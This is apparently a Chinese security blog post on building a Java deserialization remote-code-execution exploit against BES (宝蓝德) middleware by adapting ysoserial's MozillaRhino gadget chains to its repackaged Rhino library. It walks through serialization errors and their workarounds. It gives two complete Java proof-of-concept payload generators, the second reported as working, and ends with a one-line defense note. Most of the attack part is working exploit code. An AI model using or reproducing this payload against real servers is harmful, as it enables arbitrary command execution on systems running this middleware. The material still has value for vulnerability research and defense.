一、前言
朋友找我一起调试宝蓝德中间件的发序列化漏洞,经过朋友一起的努力调试:使用断点、重写java文件等多种手段进行序列化生成字节码,最后改Rhino2的链构造成功。
二、曲折的反序列化链调试
已知宝蓝德有反序列化接口,并且存在二次开发的Rhino jar,需要构造一个RCE 反序列化。
2.1、序列化失败?
直接抽取yso中的代码,生成RhinoChain序列化的字节码测试
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java
不过这里要注意的是需要修改类的名前缀:因为jar的包名是com.bes.org.mozilla
org.mozilla.javascript.NativeError => com.bes.org.mozilla.javascript.NativeError
开始测试是否能反序列化成功。
package org.example;
import com.bes.org.mozilla.javascript.Context;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.bes.org.mozilla.javascript.*;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.io.File;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
public class RhinoChain1 {
public static void main(String[] args) {
try {
String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Class nativeErrorClass = Class.forName("com.bes.org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
Field nameField = com.bes.org.mozilla.javascript.Context.class.getDeclaredField("topCallScope");
nameField.setAccessible(true);
nameField.set(context, idScriptableObject);
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("com.bes.org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject);
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(new File("test").toPath()));
out.writeObject(badAttributeValueExpException);
out.flush();
out.close();
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(new File("test").toPath()));
in.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
2.1.1、报错NotSerializableException?
报错如下,直接序列化报错。
于是我们来到最后的异常地方,找到defaultWriteFields函数,这样很直观看到序列化哪个对象失败了,这里可以看到IdFunctionObject的tag属性是Object,而作为非基本属性又没有继承Serialize的话,就会序列化失败。
我们再来看看是在哪里赋值的?在源码中也没有找到,于是下断点,溯源到来源地方。
发现来此com.bes.org.mozilla.javascript.BaseFunction的静态参数
这里参考未修改的Rhion的jar,发现这里的tag为固定值Global,所以这里可以通过断点修改
com.bes.org.mozilla.javascript.IdFunctionObject#IdFunctionObject
继续反序列化
2.1.2、报错BAD FUNCTION ID=1?
还是报错,接着调试。
通过栈回溯,找到对应的语句,这里有一个条件判断语句,这里判断"Global"==new Object(),因为我们之前的修改成了固定值为Global,所以肯定失败,这里我们要跳过去。
这里我可以,通过重定义java文件,修改逻辑
终于序列化成功。
2.2、反序列化又失败?
2.2.1、报错IllegalStateException?
进行发序列化的时候,直接报错。
有一个地方判断cx.topCallScope是否为空
com.bes.org.mozilla.javascript.Context
Scriptable topCallScope
我们要让topCallScope不为空,怎么办呢?通过反射修改
初始化class
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] {Target.class, transformedMap});
这里进行修改属性
Field nameField = com.bes.org.mozilla.javascript.Context.class.getDeclaredField("topCallScope");
nameField.setAccessible(true);
nameField.set(context, idScriptableObject);
通过反射修改进行赋值即可。
2.2.2、报错No Context associated with current Thread?
可惜的的是,折腾这么久了,最后还是失败。
这里尝试给服务器发送数据包,也是无法成功,因为服务器没设置在该线程设置context。
于是按照正常的思路走了一下,发现都是卡在下面为空:检查getCurrentContext的结果是否为空,如果为空就抛出异常。
经过调试发现Context.enter函数会对在该线程设置context。
如何在发序列化过程调用Context.enter函数呢?这也太复杂了,于是看看是否有前人解决
发现yso是有第二条链的:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java
2.3、第二个反序列化链->改链
但是可惜的第二条链我们也并不能直接使用,因为这个jar并没有Environment类,需要我们找功能同等的类代替。
于是分析Environment类在反序列化的作用,结果在yso给的调用栈并没有发现Environment类,而且在触发计算器的栈也没有发现Environment类。
从调试过程发现是调用了Environment的get方法,但实际是调用super.get方法
其实到这里差不多了,找一个NativeArray类代替Environment类,这里Environment的类的作用就是调用父类方法获取后面用的方法名(所以只要找到继承了同样方法的类就好了,毕竟调用的是父类方法)。
成功弹窗
这里给出PoC
package org.example;
import com.bes.org.mozilla.javascript.*;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.util.Hashtable;
import java.util.Map;
public class Rhino2 {
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
public void test() throws Exception{
String command = "open /tmp/";
ScriptableObject dummyScope = new NativeArray(10);
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("com.bes.org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("com.bes.org.mozilla.javascript.MemberBox"),
new Class[] {Method.class},
new Object[] {Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new NativeArray(10);
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new NativeArray(10);
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(new File("test4").toPath()));
out.writeObject(nativeJavaObject);
out.flush();
out.close();
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(new File("test4").toPath()));
in.readObject();
}
public static void main(String[] args)throws Exception {
Rhino2 rhino2 = new Rhino2();
rhino2.test();
}
}
三、防御
反序列化漏洞防御可以通过rasp以及resolveClass自定义的方式防御,而Rhino的链子比较灵活,需要注意一下绕过风险。
四、总结
通过断点、重写java文件进行序列化生成字节码,最后改Rhino2的链构造成功。经典反序列化链还是需要经常看看,毕竟多组合或改链就可以发现新的0day。